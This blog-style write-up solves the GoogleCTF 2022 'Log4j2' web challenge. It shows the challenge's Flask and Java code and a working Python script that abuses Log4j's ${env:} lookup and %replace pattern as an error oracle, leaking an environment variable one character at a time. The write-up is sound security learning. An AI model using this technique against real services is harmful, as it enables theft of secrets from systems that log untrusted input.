GoogleCTF 2022 - Log4j2

July 04, 2022

Talk with the mostest advanced AI. Code is ~identical to log4j - see those attachments.

https://log4j2-web.2022.ctfcompetition.com

During GoogleCTF 2022 I only managed to solve a few challenges. One of which was Log4j2. This was a web challenge which involved exploiting a fully up-to-date Log4j to leak an environment variable.


Overview

The application is a simple chatbot which takes commands and returns something. The only commands are /help, /time, /wc, and /repeat. None of these commands do anything special for our use-case.

time command

The application consists of a simple flask server, which runs a jar to get the output of the commands.

Here is the flask app. There isn’t much to note other than the subprocess which calls the jar with a 10 second timeout.

import os
import subprocess

from flask import Flask, render_template, request


app = Flask(__name__)

@app.route("/", methods=['GET', 'POST'])
def start():
    if request.method == 'POST':
        text = request.form['text'].split(' ')
        cmd = ''
        if len(text) < 1:
            return ('invalid message', 400)
        elif len(text) < 2:
            cmd = text[0]
            text = ''
        else:
            cmd, text = text[0], ' '.join(text[1:])
        result = chat(cmd, text)
        return result
    return render_template('index.html')

def chat(cmd, text):
    # run java jar with a 10 second timeout
    res = subprocess.run(['java', '-jar', '-Dcmd=' + cmd, 'chatbot/target/app-1.0-SNAPSHOT.jar', '--', text], capture_output=True, timeout=10)
    print(res.stderr.decode('utf8'))
    return res.stdout.decode('utf-8')

if __name__ == '__main__':
    port = os.environ['PORT'] if 'port' in os.environ else 1337
    app.run(host='0.0.0.0', port=port)

And the jar:

package com.google.app;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.lang.System;
import java.time.format.DateTimeFormatter;
import java.time.LocalDateTime;
import java.util.Arrays;

public class App {
  public static Logger LOGGER = LogManager.getLogger(App.class);
  public static void main(String[]args) {
    String flag = System.getenv("FLAG");
    if (flag == null || !flag.startsWith("CTF")) {
        LOGGER.error("{}", "Contact admin");
    }
  
    LOGGER.info("msg: {}", args);
    // TODO: implement bot commands
    String cmd = System.getProperty("cmd");
    if (cmd.equals("help")) {
      doHelp();
      return;
    }
    if (!cmd.startsWith("/")) {
      System.out.println("The command should start with a /.");
      return;
    }
    doCommand(cmd.substring(1), args);
  }

  private static void doCommand(String cmd, String[] args) {
    switch(cmd) {
      case "help":
        doHelp();
        break;
      case "repeat":
        System.out.println(args[1]);
        break;
      case "time":
        DateTimeFormatter dtf = DateTimeFormatter.ofPattern("yyyy/M/d H:m:s");
        System.out.println(dtf.format(LocalDateTime.now()));
        break;
      case "wc":
        if (args[1].isEmpty()) {
          System.out.println(0);
        } else {
          System.out.println(args[1].split(" ").length);
        }
        break;
      default:
        System.out.println("Sorry, you must be a premium member in order to run this command.");
    }
  }
  private static void doHelp() {
    System.out.println("Try some of our free commands below! \nwc\ntime\nrepeat");
  }
}

The java file shows that: 1. the flag is in an environment variable named FLAG, and 2. the commands we run are logged by Log4j.

Checking pom.xml, we can see that the latest version of Log4j (2.17.2) is used, so we can’t use Log4shell.

<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j</artifactId>
<version>2.17.2</version>
<type>pom</type>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.17.2</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.17.2</version>
</dependency>

Log4j Conversion Patterns

As Log4j is logging our input, we can make use of conversion patterns to control what gets logged (excluding the use of JNDI). For example, when I supply the input /TEST%t, the logger displays /TESTmain. We can confirm this by running the service locally.

pattern

Furthermore, we can use ${env:FLAG} to log the flag environment variable.

Ok, so we can log the flag, but we can’t just view what’s logged by the server. How can we extract the flag without the use of JNDI?

Causing an Error

I had noticed early on in the first version of the challenge that sending %\ will result in an error. There are many ways to cause an error, but this is what I used.

If an error is returned in the response from the jar, flask will not display it, and will instead display Sensitive information detected in output. Censored for security reasons.

error

Causing a Conditional Error

What if we can cause an error based on certain conditions? For example, can we ask the server “does the flag start with C” and have it return an error whether or not this condition is met?

To find out, it’s time to read the documentation. Here, we can search for a pattern which we can use to compare parts of the flag.

The %replace{pattern}{regex}{substitution} pattern seems perfect:

Replaces occurrences of 'regex', a regular expression, with its replacement 'substitution' in the string resulting from evaluation of the pattern.
For example, "%replace{%msg}{\s}{}" will remove all spaces contained in the event message. 

What if we attempt to replace our pattern with %\?

This results in an error:

conditional error

What if the regex is not found in our pattern? Will it still error, or will it return a normal response as %\ is never reached?

conditional non-error

Luckily, we do not receive an error unless our pattern matches our regex.

Scripting an Exploit

The remainder of the solution should be trivial.

Now we just need to create a simple script to exfiltrate the flag.

import requests
import string

url = "https://log4j2-web.2022.ctfcompetition.com/"
known_flag = "CTF{"
chars = "-_" + string.ascii_letters + string.digits + "}"

def test_char(flag):
    print(f"{flag}\r", end="")
    flag = flag.replace('{', '.').replace('}', '.')
    data = {"text": "%replace{${env:FLAG}}{^" + flag + "}{%\\}"}
    r = requests.post(url, data=data)
    return 'Sensitive' in r.text

while known_flag[-1] != "}":
    for c in chars:
        if test_char(known_flag + c):
            known_flag += c
            break

print(f"Flag: {known_flag}")

After some time, we get the full flag:

flag